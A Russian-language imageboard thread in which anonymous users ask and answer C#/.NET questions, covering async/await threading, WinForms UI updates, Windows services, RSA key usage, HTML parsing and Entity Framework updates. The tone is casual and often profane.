есть ли смысл в .нет кор приложениях вызывать получения данных из нескольких репозиториев через await, или достаточно только первый запрос делать через await, а второй синхронным вызовом, чтобы лишний тред бэкграунд не плодить, тред из тред пула веб запросов всё равно уже освобождён после первого реквеста, разве этого не достаточно? я побаловался в консоли и заметил, что хоть и не всегда, но порой континюейшны после эвейтов могут выполняться в разных тредах.

я читал вот этот пост на so: https://stackoverflow.com/a/49109517/7162511, он вроде складно объясняет, но он говорит о важности выполнения долгих IO операций на бэкграунд тредах, чтобы не ебать основной тред пул веб сервера, но после первого await'а дело же уже происходит в бэкграунде.
843 1758606
>>757286
При регистрации строчка запроса будет:

>POST (или PUT) https://xui.com/api/users


со всей нужной инфой в body запроса. Серьезно, почитай подробно про REST прежде чем спрашивать всякий бред.
844 1758710
>>758564
Я конечно особо не шарю, но думаю такой эффект у тебя вышел из-за того что main асинхронный. Но я просто студент и высказал догадку. Попробуй это же с синхронным мейном проделать.
asy.png268 Кб, 647x722
845 1758719
>>758564
Чет у тебя каша в голове. Разница между background и foreground потоками, только в том что foreground поток будет "держать" процесс живым, а background потоки будут автоматически завершены, если в процессе не осталось foreground потоков. К асинхронности это отношения не имеет. Тяжелые CPU операции стоит делать асинхронными, что б вычисления не блокировали основной поток и программа оставалась отзывчивой. IO операции стоит делать асинхронными, потому что пока свою часть работы выполняет диск/сеть/и т.д. тред может выполнить что нибудь еще, а не просто ждать. Что касается await'a, то если очень просто, можешь рассматривать его как некое подобие return'a - поток выйдет из метода (хоть и не всегда) и будет исполнять ко дальше, но в отличии от обычного return'a часть после await'a будет выполнена потом, каким нибудь потоком из пула (хоть и не всегда).
Для начала могу посоветовать пикрил.
846 1758733
>>758710
как я тебе метод с вызовом await'ов без async сделаю?
>>758719
я может неправильный пример привёл с выводом IsBackground и IsThreadPool, меня на самом деле интересовало, может ли часть после второго await уйти в другой тред, а не остаться в треде 1 await'а.
я читал статьи у майков про использование await, IO-bound и CPU-bound code и использую его постоянно, просто не до конца понимаю один момент. меня интересует конкретно случай с дата-репозиториями. вот они представляют с собой IO-bound code, т.к. содержат обращения к БД. я понимаю, зачем нужен 1 await с точки зрения asp.net core - освободить поток реквеста, чтобы больше запросов от клиентов могло одновременно обрабатываться. зачем нужен 2 await на втором обращении к дата-репозиторию, если этот вызов после первого await уже будет в потоке из тред пула? только потому что

>поток выйдет из метода (хоть и не всегда) ... каким нибудь потоком из пула (хоть и не всегда)


?

>потому что пока свою часть работы выполняет диск/сеть/и т.д. тред может выполнить что нибудь еще, а не просто ждать.


это как это, а без await такой оптимизации не происходит?
847 1758748
Блин, вы такие страшные слова говорите.
Я вот таски и асине-эвейт всегда воспринимал как-то типа: Пусть этот метод где-то выполнится, потом я заберу его результат, в это время основная работа продолжится. Допустим как раз с обращением к БД, я делаю запрос, в это же время пользователь может нажимать кнопочки и не кода запрос завершится - я отрисую ему новые данные. А вы какие-то потоки, какие-то IO-bounded прочее. Неужели я должен тоже думать об этом? Ну просто допустим, я хочу сделать 10 независимых запросов к разным сайтам: картинки, инфу о пользователе, его список любимых песенок и т.д. Я всегда просто делал несколько тасков, пихал их в лист, внутри делал какой-то эвент, типа кусок данных, который нужно отрисовать - получен, ну и по эвенту - рисовал что-то. А у вас такие вот сложности с какими-то потоками. Хуй знает короче. Я почему-то не заметил проблем с разработкой, не задумываясь об этом.
848 1758753
>>758289
>>757898
да спасибо большое это то что я искать
849 1758761
>>758748

>Я вот таски и асине-эвейт всегда воспринимал как-то типа


всё верно. нюансы типа IO-bound и CPU-bound возникают для меня, по крайней мере, только в asp.net core в контексте best practices по многопоточности. в статьях майки и все остальные пишут, что например для чтения данных из БД Task.Run как враппер async over sync использовать не стоит, потому что чё то там отжирается поток из тред пула реквестов, потом возвращается, и типа планировщику это всё не нравится, а лучше использовать await, натравленный на асинхронные методы материализации IQueryable.

>Неужели я должен тоже думать об этом?


в декстопе на мой взгляд нет, хотя все обращения к сайтам - IO bound. CPU-bound это непосредственно обработка данных, выполняемая после получения данных.
еще можно еще послушать товарища сверху с его утверждением, что тред может выполнять что нибудь еще, пока ждет IO-bound код, ожидаемый await'ом. просто в моём представлении за await никакой магии не стоит, и это просто синтаксический сахар, заворачивающий код под ним в континюейшн.

>А у вас такие вот сложности с какими-то потоками.


да понятно, что и на Task.Run всё будет работать, но у меня какое то профессиональное любопытство, что ли
850 1758763
>>758733

>может ли часть после второго await уйти в другой тред


может

>я понимаю, зачем нужен 1


и второй для того же самого - пока бд проперживается потокой пойдет и сделает что нибудь полезное, а не залочитс на ожидании этой бд.

>вызов после первого await уже будет в потоке из тред пула?


Так тред-пул не резиновый (хотя конечно в разумных пределах резиновый, но в любом случае создание потока тяжелая операция)

>?


Например, код может выполнится синхронно, если ожидаемая задача уже завершена к моменту ожидания (await).

> а без await такой оптимизации не происходит


await это сахар, асинхронный код можно писать и без него, но с ним проще и удобнее
851 1758766
>>758763

>и второй для того же самого - пока бд проперживается потокой пойдет и сделает что нибудь полезное, а не залочитс на ожидании этой бд.


кажись понял профит, но не понял, как это работает. типа при достижении IO-bound кода, тред уходит обратно в тред пул. а потом продолжение после IO-bound кода кто раскочегаривает в уже возможно новом потоке из тред пула? какой нибудь планировщик?
852 1758770
>>758766
У тебя под капотом таски обернуты в сорт оф перечисления. По сути эвейтом ты yield делаешь, там стейтмашина проходится по таскам, которые были уже запущены, когда находится тот таск, что завершен - хвост функции после await помещается в какой-нибудь из тредов и продолжает выполнение. Ну, я так примерно это понял, когда читал. Да, я не тот умняша, а просто студентота что мимо проходила.
853 1758976
>>757597
Бампецкий. Или хотя-бы дайте исходники методов rsa.Encrypt() и rsa.Decrypt(), чтобы понять что за хуйню оно пишет на выходе.
854 1759007
Есть win forms. И если поток, который обновляет UI c помощью beginInvoke.
Вопрос заключается в том, насколько корректно так писать и почему это работает
///код отдельного потока
double value = Something.getValue();
textBoxForValue.BeginInvoke = (
new Action(()=>{textBoxForValue.Text = value.toString();})
);
///конец кода отдельного потока
Вопрос в том, насколько корректно обращаться к переменной value, которая находится в контексте созданного потока при асинхронном выполнении делегата в потоке UI? Action же будет выполнять в потоке UI, в котором был вызван BeginInvoke будет уничтожен после завершения вызова. Или я чего-то не понимаю. Нахуя тогда в BeginInvoke 2 параметром object[], если в лямбдах доступны все переменные, которые в той же области видимости.
855 1759074
>>759007
если в VS навести на => курсор, то там интеллисенс подскажет типа variables captured: и список. рискну предположить, что когда лямбда разворачивается при компиляции в код, переменные как то копируются и передаются параметрами в экшн. но вообще разве не лучше делать в хэндлере

double value = await Something.GetValueAsync();
textBoxForValue.Text = value.ToString();
?
856 1759098
>>759007
>>759074
Читайте про замыкания, товарищи.
857 1759139
>>759074
Не совсем понял тебя. Ты не можешь обновить GUI из другого потока, отличного от основного потока winForm, в котором были созданы контролы. Для этого и делаю beginInvoke, чтобы вызвать эти изменения в основном потоке.
858 1759156
>>759139
await все сделает за тебя - так как в формах однопоточный контекст, то продолжение задачи после await'a будет быполнено в исходном потоке т.е. UI. Об этом надо помнить еще и для того что бы не словить deadlock, когда UI поток заблокирован ожиданием таски, а что бы выполнить таску нужен UI поток. Если UI поток не нежен, то следует вызвать .ConfigureAwailer(false);
859 1759163
Сап, ломаю голову уже вторые сутки. Мне нужна программа которая будет постоянно активна и реагировать на какие-то действия в винде. К примеру открывается гугл - программа это замечает. Бесконечный цикл который постоянно чекает процессы не подойдет вроде так как сожрёт всю оперативку со временем. Как реализовать? Погуглил на счет winapi но нифига не понятно
860 1759168
>>759163
windows service, таймер с методом
861 1759170
>>759163
Зачем? Может будет проще это сделать администрированием, а не прогрраммированием.
P.S. Если твоя программа забивает со временем память, значит ищи где у тебя утечка памяти. Ну или. если ты дурачек и хранишь все в оперативе, то время от времени сбрасывай данные на диск.
862 1759171
>>759170
Я еще даже не близко джуниор поэтому не понимаю как это делать.
>>759168
Можешь подробнее?
863 1759178
>>759171
создаёшь в VS проект windows service, ему в OnStart пишешь запуск любого таймера, на обработкик Elapsed пишешь метод, который будет делать что тебе там надо. можешь поставить там таймер на 5 сек, в принципе, это не while(true), так что CPU сильно ебашить не будет. потом гуглишь, как его устанавливать, там надо через cmd какую то утилиту из .net натравить на .exe скомпиленного сервиса. или если хочешь заморочиться, то гуглишь, как сделать WiX-установщик, но имхо это лишнее, если ты не кому то это делаешь но это если тебе не надо прямо мгновенное реагирование на действия пользователя. если надо - то тогда только гуглить как хукать такие события у каждой конкретной программы, но тут я ничего не подскажу, не факт даже, что без ковыряния WinAPI такое получится.
Annotation 2020-07-24 211838.png68 Кб, 1354x868
864 1759212
>>759163
Создай в вижаке обычный проект "Windows Forms App".
Он тебе высрет что-то вроде пикрила.
Файл с формой можно удалить, "new Form1()" тоже убери из Run, чтобы был просто вызов Application.Run() без аргумента.
Собственно, это будет твоя программа, которая постоянно висит в памяти.
Дальше перед строчкой Application.Run() создай Timer, и повесь ему событие с нужным интервалом (1000 мс., например), из которого шарься по процессам и делай что нужно.

Если не хочешь каждый раз закрывать свою прогу через диспетчер задач (или хочешь как-то ей управлять), то прикрути иконку с контекстным меню в трей (new NotifyIcon(), new ContextMenu(), и т.д.)
865 1759215
>>759212
>>759178
Спасибо
866 1759257
Помогите, пожалуйста. Писал метод для перевода десятичного числа с двоичную, на int все нормально, а на ulong вот такая хуйня - выводится число не в двоичной системе счисления.
image.png242 Кб, 400x341
867 1759260
868 1759299
>>759257

>на int все нормально


Серьезно? Прям в двоичной выводит? Покажи код для int.
.png87 Кб, 1920x1080
869 1759420
>>759257
В общем, лень в твоем алгоритме разбираться.
870 1759428
>>759420
за одни только скобки сажу поставить хочется
871 1759436
>>759428
Работает? Работает. Что тебе надо еще, дядя?
872 1759444
>>759436
Чтоб ты говнокод не плодил.
873 1759446
>>759444
Хочу - плодю. Что ты мне сделаешь? Я в другом городе!
874 1759449
>>759446
Нахуй пошлю.
875 1759467
>>759420
Ну и так пойдет, в принципе. Спасибо.
876 1759654
>>758606

>почитай подробно про REST прежде чем спрашивать всякий бред


и что же в REST написанно, каким способом реквесты делать под API?
Вот линк, который растолковывает, как нужно делать Rest api services
https://docs.microsoft.com/en-us/aspnet/core/tutorials/first-web-api?view=aspnetcore-3.1&tabs=visual-studio
877 1759716
Нуждается ли в рефакторинге класс в 1500 строк?
878 1759724
>>759716
В рефакторинге нуждается всё приложение, если в нём есть класс на 1500 строк.
879 1759755
>>757597
Как я понял, rsa.Encrypt() шифрует только при помощи publicKey, импортированного в RSAParameters,
либо же пабом из privateKey, импортированном опять же в RSAParameters.

rsa.Encrypt() же, дешифрует шифр только при помощи privateKey, который нужно импортировать в RSAParameters.

Однако, RSA может шифровать с помощью privKey, и дешифровать с помощью pubKey:

>(e, n) - pubKey


>(d, n) - privKey



>m = message


>c = m ^ e mod n; // encrypt by pub to cipher


>m_ = c ^ d mod n; //decrypt by priv from cipher


>(m == m_) //true



>c = m ^ d mod n; //encrypt by priv to cipher


>m_ = c ^ e mod n; //decrypt by pub from cipher


>(m == m_) //true



//signature

>c = m ^ d mod n; //encrypt by priv to cipher


>//(m, c) -> transfer cypher and message


//Verify signature:

>m_ = c ^ e mod n; //decrypt cipher by pub


>(m == m_) // compare m with m_ to verify signature - true/false



И вот как зашифровать приватным ключём, а расшифровать публичным - хуй знает.
Кроме метода modPow из BigInteger - я не вижу другого варианта,
так как исходников самих этих методов rsa.Encrypt() и rsa.Decrypt() не найти, только описания методов.
879 1759755
>>757597
Как я понял, rsa.Encrypt() шифрует только при помощи publicKey, импортированного в RSAParameters,
либо же пабом из privateKey, импортированном опять же в RSAParameters.

rsa.Encrypt() же, дешифрует шифр только при помощи privateKey, который нужно импортировать в RSAParameters.

Однако, RSA может шифровать с помощью privKey, и дешифровать с помощью pubKey:

>(e, n) - pubKey


>(d, n) - privKey



>m = message


>c = m ^ e mod n; // encrypt by pub to cipher


>m_ = c ^ d mod n; //decrypt by priv from cipher


>(m == m_) //true



>c = m ^ d mod n; //encrypt by priv to cipher


>m_ = c ^ e mod n; //decrypt by pub from cipher


>(m == m_) //true



//signature

>c = m ^ d mod n; //encrypt by priv to cipher


>//(m, c) -> transfer cypher and message


//Verify signature:

>m_ = c ^ e mod n; //decrypt cipher by pub


>(m == m_) // compare m with m_ to verify signature - true/false



И вот как зашифровать приватным ключём, а расшифровать публичным - хуй знает.
Кроме метода modPow из BigInteger - я не вижу другого варианта,
так как исходников самих этих методов rsa.Encrypt() и rsa.Decrypt() не найти, только описания методов.
880 1759756
>>759755

>rsa.Decrypt() же, дешифрует шифр только при помощи privateKey, который нужно импортировать в RSAParameters.

882 1759764
Хм. А будет ли плюсом в качестве проекта партфолио - библиотечка для серилизации-десериализации HTML?
Ну, типа я студент думаю наверное это уже миллион раз реализовали. Но я что-то не видел. А тут думаю, смотрите, ну базовый класс: HTMLDocument, в нем есть ноды с тегами, каждому тегу - можно стиль нахреначить, потом метод Save(string path), хобана - мы собрали html'ку, а можно ToString и отдавать в качестве ответа какого-то. Опять же, наверное это все давно реализовано, но будет ли полезно иметь свою реализацию на гитхабе? Или лучше что-то более прикладное зафигачить, типа автоматизация продажи дилдаков на микросервисной архитектуре?
883 1759893
>>759654
Это практический туториал для людей которые уже знакомы с REST и хотят узнать как это делать в ASP.NET Core. Надо читать теорию, статьи, книги, видео которые объясняют саму идею, принципы, лучшие практики и т.д. а потом уже читать гайды на msdn.
884 1759895
Нормально ли вообще в контроллерах делать try-catch блоки? Имо контроллер - абстрация самого высокого уровня и должна быть выжимкой без тонны кода. Я посмотрел
https://github.com/dotnet-architecture/eShopOnWeb/blob/master/src/Web/Controllers/ManageController.cs
нахуй он Exception возвращает в контроллере?
885 1759946
>>759764
Будет плюсом в том смысле, что люди согут посмотреть на твой code style. Если будет популярна как nuget, будет большим плюсом. Но это маловероятно.
886 1759956
>>759895
Либо было лень нацепить ExceptionFilterAttribute, либо он считает что 500 - приемлемый код вместо 400/404.

Ставлю на первое, ему даже лень было отнаследоваться от ApplicationException
887 1759994
>>759716
Ну хуй знает, я обычно с 5000 начинаю париться.
888 1760087
>>759716
>>759994
я просто не могу поверить, что такая хуета существует. Дайте пример, посмотрю на это убожество
889 1760102
Может кто помочь? Нужно реализовать для null-able типов, дополнительную возможность определения - является ссылка null или нет.
Например для для переменной string name = null => name.IsNull() --> true
Или направить что учить скажите
890 1760123
>>759764
Я как-то отдавал HTML с C#, в качестве стартовой страницы загрузки одностраничного сайта.
Там надо просто строчку (string), ескапнуть, символом @,
а после него, в двойных кавычках, сунуть код html-страницы,
где каждая двойная кавычка заменена на две двойные.
Так можно и скрипты на JavaScript, в код на C# пихать, и потом, как файл их сохранять, или просто отдавать.

Но я, кажется, не совсем понял что ты хочешь.
Ты хочешь своей десериализацией - именно распарсить теги, в какой-то объект, верно?
Если же, ты хочешь стили к тегам прикрутить, в чём проблема сделать замену тега на тег с классом, а стиль прописать в блоке <style></style>, указав там класс и стиль?

>Опять же, наверное это все давно реализовано, но будет ли полезно иметь свою реализацию на гитхабе?


Так ты сначала чётко сформулируй что именно ты хочешь, может это в один gist уложится, или вообще в пару строк, или в вызов стандартного метода из какой-нибудь либы.

>Или лучше что-то более прикладное зафигачить, типа автоматизация продажи дилдаков на микросервисной архитектуре?


Лучше уж автоматизация их производства, на стандартной архитектуре микроядра, главное пиши на .NET Core 2.0, чтобы полная обратная совместимость была.
.png78 Кб, 1920x1080
891 1760124
>>760102
Я не совсем понял в чем проблема. Типа ты хочешь для типов по значению проверять или классов? Если классов, то прикриплейд.
892 1760134
>>760123
Я хочу следующего.
Есть класс: HtmlDocumet, он как-бы в себе хранит описание все странички. У него есть методы: LoadDocument, SaveDocument и ToString, первый - позволяет получить строку и в случае если это валидный HTML - инициализировать свойства класса, второй - сохранить тот документ что есть куда-то, ToString - то что есть в классе вернуть в виде строки, которая явялется валидным HTML. Так же у документа есть свойства: HtmlNode, которые являются деревом тегов, корнем, естественно - <html>, затем <head> и <body>, дальше уже заполняем в зависимости от того что нам надо. Как-то так на базовом уровне. У ноды есть всякие свойства и, соответственно, значения.
Зачем нужно. Например, чтобы я мог, взять страничку уже готовую, и уже программными методами добавить например элементов в список, при этом может быть ебануть каким-то элементам стили и это вот все и вернуть уже новую страничку, при этом не прописывая каждый раз ручками строки того что добавить нужно. Примерно как-то так:
var html = new HtmlDocumet("index.html");
html.Body.AddLast(new MarkedList{ new ListItem(){value = "1"}, new ListItem(){value = "2", style = new Style(){color = "#faf"}});
html.SaveDocumet("index2.html");

Опять же, я думаю что такое давно есть, но мне было бы интересно самому попробовать намутить.
893 1760162
>>760124
Блин, точно не могу сказать. Но я думаю что это связанно с классом Nullable.
Но твой код мне кажется интересным, спасибо что отозвался и решил помочь, я думаю этого достаточно для меня
894 1760196
>>760134

>мне было бы интересно самому попробовать намутить


Если хочешь изобретать велосипед - вперёд.

>Опять же, я думаю что такое давно есть


Конечно есть. Гугли html-парсеры. Сходу нарыл это: https://ru.stackoverflow.com/a/420355
Как видишь, там можно парсить html в объект, и получать, а также изменять отдельные аттрибуты html-тегов, в частности, эти вот стили, в аттрибуте style="бла-бла",
или просто можно добавить к тегу class="blah-blah",
и в секции <style> расписать стиль к элементам этого класса.
895 1760200
>>760196

>Если хочешь изобретать велосипед - вперёд.


А вообще, я только за узкоспециализированные, коротенькие решения, в одном .cs-файле в виде gist'a на github'e,
и c годным, лаконичным описанием.

Как, например, вот этот BigInteger.cs

>https://github.com/bazzilic/BigInteger/tree/master/BigInteger


Всего один файлик. Скопировал его приинклюдил, и юзаешь себе:

> csc.exe -optimize -out:"test_RSA_CSharp.exe" "test_RSA_CSharp.cs" "BigInteger.cs"



Вместо того, чтобы такие вот нагромождения инклюдить:
https://github.com/JamesNK/Newtonsoft.Json/tree/master/Src/Newtonsoft.Json
897 1760218
>>760216
тут 80% комментов, не катит. Тем более CoreLib
898 1760284
>>724425 (OP)
сап, может кто нить написать функцию пробегающуюся по всем емуйлам в массиве и если email заканчивается на .gmail.com выводить строку "Part is a Google user"
где Part это все что до @ в email
в противном случае выводить просто email

Например для

[ "ad755amANUSgm2,.ailPUNCTUMco$K3m", "boo"WsbANUSy;0XahooPUNCTUMcoxqam", "t8ojestANUSgmaBetilPUNCTUMc$ykom" ]
должно вывестись
["adam is a Googler","bf3coobANUSy6'CahooPUNCTUMc|9Vom","test is a Googler"]
899 1760292
>>760284
https://pastebin.com/3uXyU5aJ
если что вот решение на хаскеле, просто
1) я дольше буду все что нужно ставить и гуглить как делается чем делать
2) не хочу об ваш скотоублюдский язык шквариться
900 1760409
>>760292
Так не шкварься и пиши на хачкеле. На нашем языке это делается в 2 строки.
901 1760429
>>760292
Твоё решение говно, кстати. Потому что обосрется если в массиве будет строка вида "@gmail.com" или " @gmail.com" или любая другая строка, которая заканчивается на @gmail.com, но не является валидным email адресом.
902 1760474
>>759956
слепил FilterExceptionAttribute, теперь встал вопрос - у меня DAL, если не находит элемент в Бд выстреливает Exception-ом. Но проблема в том, что этот эксепшен сразу ложит приложение, а не передает по стэку к контроллеру. Как такое фиксить?
12123.jpg108 Кб, 1235x576
903 1760610
>>760292
>>760284
Проиграл с языка для умалишенных. Почему в нём всё так вырвиглазно? Ну да ладно, грех не помочь болезному. Держи.
904 1760974
>>760610
У тебя второе условие не выполняется же, няша.
905 1760981
https://code-maze.com/global-error-handling-aspnetcore/
Что за хуета, почему не работает? Все делаю по тутору - ASP.NET Core web api, все один в один - приложение падает от Exception. НЕ ПОЙМУ
906 1760987
>>760981
Поди миддлвар не сконфигурировал.
907 1761006
>>760974
Если исходить из того, что будут переданы всегда валидные email'ы, то нужно добавить else x.Add(y);
Если не исходить, то нужно в самом начале регуляркой проверять валидный ли это email адрес, после чего всё тоже самое с добавленным else x.Add(y);
908 1761013
>>760610
Спасибо.

уебок гисты с пастбином для кого придумали хуесос?
909 1761014
>>761013
Переписывай ручками, тебе только на пользу пойдёт.
910 1761018
>>760987
блять такая хуета конечно, даже не врубаюсь какой синвенс пайплайна, чтобы определить сконфигурировался мидлвар или нет
911 1761129
>>761018
>>760987
боже, проебался весь выходной над этой залупой, в итоге запустил не в дебаг режиме, а в релизе - все заработало. Ебись оно все колом
912 1761188
почему я не могу вызвать вебметод, я перепробовал уже какие угодно обращения, потом даже не входит в вебметод, к тому же я не знаю можно ли обратиться к вебметоду с консольки браузера
913 1761189
почему я не могу вызвать вебметод, я перепробовал уже какие угодно обращения, потом даже не входит в вебметод.

к тому же я не знаю можно ли обратиться к вебметоду с консольки браузера, можно?
914 1761524
>>761188

>2020, на подходе .NET 5, WASM, razor components


>/testwebmethod.aspx/


боже братишка зачем????
915 1761610
>>761524
а можно более детально? какие фишки у этих всех компонентов?
916 1761639
>>761610
полноценный front-end фреймворк на .net
917 1761649
>>761524
wasm никому нахуй не нужен. Надеюсь на то, что TS впилят вовнутрь ASP.NET и будет полноценный Fullstack
918 1761723
Какая правильная реализация Put метода? На вход получаем Сущность (обновленную), через Id новой сущности ищем в БД уже существующую. Не нашли - чекай Id. Найшли - нужно сделать перенос полей. Вот в этом основной вопрос. К примеру у меня есть сущность с 10+ полей. По каждому нужно делать проход на
if(oldEntity.name != newEntity.name)
{
oldEntity.name = newEntity.Name
}
Чи шо? Я думаю маппер какой ни будь заюзать, чтобы такой хуйней не заниматься. Что скажите?
919 1761761
>>761723
скажу, что ты усложняешь. в случае EF есть мизерный оверхед от обновления свойств хотя с выключенным трекингом он наверно к нулю сводится. если нет никакой бизнес логики за обновлением сущности, то просто переприсваивай свойства и не ебай мозга преждевременной оптимизацией.
920 1761777
Мой лид говорит сделать конфигурацию приложения черз БД БД. Причем полноценной(я предлагал SQLite использовать). Мне чет это кажется какой-то хуетой. Типа блин, посмотреть цвет кнопки - делать запрос к БД, шрифт - в бд, положение и т.д.. Я бы еще понял один запрос при старте приложения, а потом просто при изменении и сохранении настроек, но он кинул свой пример и там при каждой инициализации в конструкторе каждого класса к БД запрос делается. Это я чет не понимаю, или лид хуйню делать заставляет?
921 1761784
>>761761
Делать перебором свойств на == ? И как нахуй Update в EF работает?
922 1761786
>>761777
Предложи ему заливать код проекта в бд, сделать другой проект, который будет долбить бд по таймеру а лучше в бесконечном цикле, так система отзывчивее будет, собирать и деплоить его на прод. Сразу поймет, что ты тип шаровой где ты работаешь, что у вас такие ебанутые решения?
923 1761792
>>761786
В мухосранске же. Думал после шараги типа опыта наберусь и попробую перекатиться хотя бы в миллионник, но с каждым днем мне кажется, что этот опыт будет скорее вредным, потому что тут какой-то культ велосипедов и костылей, а git под запретом, потому что сложный и непонятный и лучше будет общая папочка и рядом скриптик, жмакаешь скриптик перед тем как в папочку положить - он содержимое в архивчик и в другую папочку кладет, потом можешь новый код туда добавить, такая вот систему управления версиями, кек. Зато люди на самом деле довольно милые, добрые и не заебывают этими вашими спринтами и всей остальной штукой, сколько времени надо - столько и кодь.
924 1761793
>>761792
Ну, тогда у тебя есть вариант сделать как они хотят и сделать правильно. А потом показать приемущества твоего подхода и подтянуть команду.
925 1761807
>>761784

>Делать перебором свойств на == ?


если ты один объект обновляешь, то забей. ты тратишь время раздумья и собсна оптимизацию того, что оптимизировать нет смысла.

>И как нахуй Update в EF работает?


остановись в дебаге где нибудь, где есть твой DbContext и попрыгай по его свойствам. там у него где то внутри зарыты изменения, которые применяются при вызове .SaveChanges().
926 1761841
>>761723
Не делай никаких сравнений, просто присваивай и сохраняй.
EF сам сравнит новые значения со старыми при детектировании изменений при сохранении и, если надо, сохранит тебе твои новые значения.
927 1761857
>>761807

>что оптимизировать нет смысла.


дело больше в том, чтобы инкапсулировать маппинг в 1 месте и не париться, даже не смотря на то, что ебаный маппер весит 30 МАТЬ ЕГО мегабайт.
У меня 10 сущностей, это 10 проверок (практически одинаковых), а будет больше - уже венигред. И да, по S(O)LID это не правильно
928 1761862
>>761841
>>761807
https://pastebin.com/zELEufPq
или я дэбил или я чего то не понимаю. wh - текущая сущность. WareHouse - [FromBody] controller. Остальные проверки в контроллере. Если использую метод Update - выстреливает на:

"The instance of entity type 'WareHouse' cannot be tracked because another instance with the same key value for {'Id'} is already being tracked. When attaching existing entities, ensure that only one entity instance with a given key value is attached. Consider using 'DbContextOptionsBuilder.EnableSensitiveDataLogging' to see the conflicting key values.""
929 1761903
народ, неужели никто не знает почему я не могу войти в вебметод
930 1761970
Как можно реализовать загрузку файлов с клиента на сервер с прогрессом загрузки у клиента??
931 1761981
>>761970
ыыыы))))

sendedTotal = 0;
fileSize = 102410241024;
file = new byte[fileSize];
progress = 0;
while(true)
{
var sended = await socket.SendAsync(file[sendedTotal..], SocketFlags.None);
sendedTotal += sended;
progress = 100*sendedTotal / fileSize;
UpdateProgressBar(progress);
if(sendedTotal >=fileSize )break;
}
932 1762341
>>761862
Очевидно что у тебя два объекта с одним и тем же айди. Пройдись по коллстеку, посмотри где ты свои склады создаёшь.
933 1762354
>>762341
вчера пол ночи проебался, ошибка была в плюрализации
934 1762361
>>761903
Точно WebService атрибут не забыл на класс повесить?
image.png5 Кб, 185x104
935 1762437
>>762361
на втором пике же
936 1762442
>>761981
это джс что ли? а если я загружаю через асп елемент "file.upload" как мне его заюзать?
937 1762454
>>762437
[WebService]
На класс. А не на метод.
938 1762469
У меня тупой вопрос. Вот смотрите. Мне нужно было сделать импорт данных из одного места у другое. Вот. Я сделал стратегию для импорта. Использую ее, все нормально, в случае чего можно будет другую стратегию использовать, ничего вне не меняя. Тут мне приходит начальник и говорит: Все хорошо, но хотелось бы чтобы работало по расписанию. Я: "Не вопрос", делаю класс, который принимает эту стратегию и добавляю логику работы по расписанию, при старте смотрю, надо ли оно, если надо - запускаю по расписанию, если не надо - просто ждем команды начать импорт из веба. Начальник доволен, все работает. Потом он говорит: Все замечательно, но теперь просят чтобы по расписанию можно было много импортеров сделать, из разных мест. Ну и блин, я придумал сделать сервис, внутри него список запущенных задач импорта, есть обработчик работы по расписанию, он смотрит, нужно ли запустить работу по расписанию и если нужно и пришло время - запускает это дело. Но блин программка которая в 300 строк умещалась сейчас уже за 5к перевалила со всей этой хуйней. А это, так-то должен был быть микросервис. Такая шляпа только у меня случается, или это норма работы кодером?
939 1762561
>>762469
это не норм, т.к. ты нахуй послал все принципы SOLID. Изначально нужно было учесть все ньюансы при согласовании задачи. Будет тебе опыт. И кто сказал, что для микросервиса 5к строк это много?
940 1762578
>>762469
Такое полотно высрал, а сути ноль. Ты понимаешь, что под твоими "импорт, стратегия, расписание, много импортов" можно вообще всё что угодно надумать?
То что задачи меняются постоянно, это обычное дело, именно для этого придумали такие понятия как паттерны проектирования, рринципы солид и тест драйвен девелопмент, которые помогт расширять и поддерживать код.
941 1762604
Решаю энтрилвл задачки на codewars (тратя по часу на каждую офк) и так забавно как то, для чего я написал 10 строчек, в правильных ответах делают за одну.
942 1762613
>>762604
Какая разница сколько строчек? Главное задачу решить. А ванлайнеры потом будешь сам писать, когда с синтаксисом и стандартной библиотекой разберешься.
943 1762637
>>762613
Codewars вообще норм тема? Можно чему-то полезному научиться, кроме синтаксиса?
мимо
944 1762645
>>762637
Ну, там задачки полезные в плане общего развития. Опять же, когда новый язык учишь - полезно, потому что сначала делаешь как умеешь, потом смотришь как делают те кто в языке чуть больше шарят, получаешь таким образом представление о стили который принят в этом комьюнити, подмечаешь полезные фишки языка и т.д. Я вот так учил шарп после плюсов.
Это конечно не пиздец как скилл прокачает, но просто благодаря разнообразию на ранних этапах учишься разными способами применять программирование для решание задач.
Если цель не в этом, а побыстрее вкатиться, то наверное не лучший вариант, потому что на работе от тебя в 95% случаев будут круды заставлять делать, а для всей остальной деятельности где хоть капля мозгов нужна будет - будет стандартное решение из библиотеки.
945 1762657
>>762604
Станешь программистом тогда, когда поймёшь, что написать 10 строчек лучше, чем одну.
946 1762661
>>762637
Единственная практическая польза - подготовиться к собесу на котором что-то из этих задач будет. В остальных случаях только во вред пойдёт, начнёшь воротить говнокод, заниматься не нужными оптимизациями, пилить велосипеды.
Помимо учебной литературы, пользу принесут только 3 вещи:
1. Изучение паттернов проектирования, принципов СОЛИД.
2. Чтение грамотно написанного кода, больше всего подходит код стандартных библиотек и популярных фреймворков, которые поддерживаются профессионалами.
3. Написание собственного кода, который ты или другие будут применять в жизни.
изображение.png15 Кб, 333x613
947 1762675
>>724425 (OP)
НУ ЧТО ШАРПОБЛЯДИ
12123.jpg118 Кб, 991x781
948 1762680
>>762675
Шиз, спок.
949 1762683
>>762680
Что за ноунейм рейтинг где С выше Питона?? Сам написал?
950 1762722
>>762683
Зумерок, зачем ты продолжаешь срать под себя? Это самый надежный источник рейтинга языков:
https://www.tiobe.com/tiobe-index//
15790817786690.jpg88 Кб, 1173x927
951 1762729
>>762683
Вот это можешь одноклассникам показать, если реальное положение дел их не устраивает.
952 1762761
>>762722

>самый надежный источник


>VB на уровне решеток


В ГОЛОСЯНДРУ ЗАОРАЛ
По сабжу да - как бы не кукарекали со своим .NET Core - решеточники соснули и мелкософты сейчас плавают в говне. Проекты открываются на нодах/рельсах, старое легаси сапортиться на джубе. Единственные, что сейчас можно делать - это микросервисы/web api на решетках и ссаный геймдев. Все остальное - мертво.
953 1762839
>>762454
я не понимаю о чем ты, я конечно добавил над классом страницы [WebService], эта херня все ранво не работает, и это очень странно потому что раньше я часто использовал веб методы я просто не могу понять какого хера сейчас оно не работает
954 1762844
аноны, ну правда, какого хрена, я уже хрен знает какой день не могу вызвать блядский веб метод который раньше юзал постоянно и я просто не понимаю какого хрена сейчас он не работает, я правда не понимаю
image.png264 Кб, 500x283
955 1762848
956 1762853
